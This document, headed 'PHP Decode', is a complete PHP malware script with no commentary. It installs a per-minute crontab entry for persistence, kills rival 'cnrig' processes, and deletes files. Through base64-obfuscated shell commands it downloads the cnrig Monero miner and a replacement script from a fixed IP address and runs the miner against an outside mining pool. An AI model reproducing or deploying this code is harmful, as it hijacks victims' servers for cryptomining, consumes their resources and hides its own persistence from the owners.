PHP Decode

<?php 
set_time_limit(0);
ignore_user_abort();
ini_set('max_execution_time', 0);

$test = system('crontab -l');
if (strpos($test, "/zz1.php")) echo ""; else system('echo "* * * * * php -f '.__DIR__.'/zz1.php" | crontab');

if ($_GET["reboot"] == "yes") system(base64_decode("cHMgLWVmIHwgZ3JlcCBjbnJpZyB8IGdyZXAgLXYgZ3JlcCB8IGF3ayAne3ByaW50ICQyfScgfCB4YXJncyBraWxsIC05"));


    $id = system (base64_decode("cGlkb2YgY25yaWc="));
    if (strlen($id)>7) system ("kill $id");

function rrmdir($src) {
    $dir = opendir($src);
    while(false !== ( $file = readdir($dir)) ) {
        if (( $file != '.' ) && ( $file != '..' )) {
            $full = $src . '/' . $file;
            if ( is_dir($full) ) {
                rrmdir($full);
            }
            else {
                unlink($full);
            }
        }
    }
    closedir($dir);
    rmdir($src);
}

if (file_exists(base64_decode("LmNucmlnLmNhY2VydC5wZW0==="))) unlink(base64_decode("LmNucmlnLmNhY2VydC5wZW0==="));    
if (file_exists(base64_decode("LnpzaF9faGlzdG9yeQ=="))) rrmdir(base64_decode("LnpzaF9faGlzdG9yeQ=="));    
    if (file_exists("cnrig"))
    {
if (filesize("cnrig")>1000) echo "good...<br>";
else
{
    system(base64_decode("d2dldCAtTyBjbnJpZyBodHRwOi8vNS40NS43OS4xNS9tb25lcm8vY25yaWc="));
}
    }
    else system(base64_decode("d2dldCAtTyBjbnJpZyBodHRwOi8vNS40NS43OS4xNS9tb25lcm8vY25yaWc="));
system("chmod +x cnrig");

    if (file_exists("cnrig"))
    {

        $id = system(base64_decode("cHMgYXV4IHwgZ3JlcCBjbnJpZyB8IGdyZXAgLXYgZ3JlcA=="));
    if ($id == "") system(base64_decode("Li9jbnJpZyAtbyA1LjYxLjQ2LjE0Njo4MCAtLWRvbmF0ZS1sZXZlbD0xID4gL2Rldi9udWxsIDI+JjE="));
    }

    
    sleep(30);
    $id = system (base64_decode("cGlkb2YgY25yaWc="));
    if (strlen($id)>7) system ("kill $id");
    
    $id = system(base64_decode("cHMgYXV4IHwgZ3JlcCBjbnJpZyB8IGdyZXAgLXYgZ3JlcA=="));
    if ($id == "") system(base64_decode("Li9jbnJpZyAtbyA1LjYxLjQ2LjE0Njo4MCAtLWRvbmF0ZS1sZXZlbD0xID4gL2Rldi9udWxsIDI+JjE="));
    
    if (file_exists(base64_decode("enoxLnBocA=="))) echo ""; else system(base64_decode("d2dldCAtTyB6ejEucGhwIGh0dHA6Ly81LjQ1Ljc5LjE1L21vbmVyby96ejEudHh0"));
    
    $test = system('crontab -l');
    if (strpos($test, "/zz1.php")) echo ""; else system('echo "* * * * * php -f '.__DIR__.'/zz1.php" | crontab');
    
    sleep(30);
    $id = system (base64_decode("cGlkb2YgY25yaWc="));
    if (strlen($id)>7) system ("kill $id");
    
    $id = system(base64_decode("cHMgYXV4IHwgZ3JlcCBjbnJpZyB8IGdyZXAgLXYgZ3JlcA=="));
    if ($id == "") system(base64_decode("Li9jbnJpZyAtbyA1LjYxLjQ2LjE0Njo4MCAtLWRvbmF0ZS1sZXZlbD0xID4gL2Rldi9udWxsIDI+JjE="));
    
    if (file_exists(base64_decode("enoxLnBocA=="))) echo ""; else system(base64_decode("d2dldCAtTyB6ejEucGhwIGh0dHA6Ly81LjQ1Ljc5LjE1L21vbmVyby96ejEudHh0"));

    $test = system('crontab -l');
    if (strpos($test, "/zz1.php")) echo ""; else system('echo "* * * * * php -f '.__DIR__.'/zz1.php" | crontab');
    
?>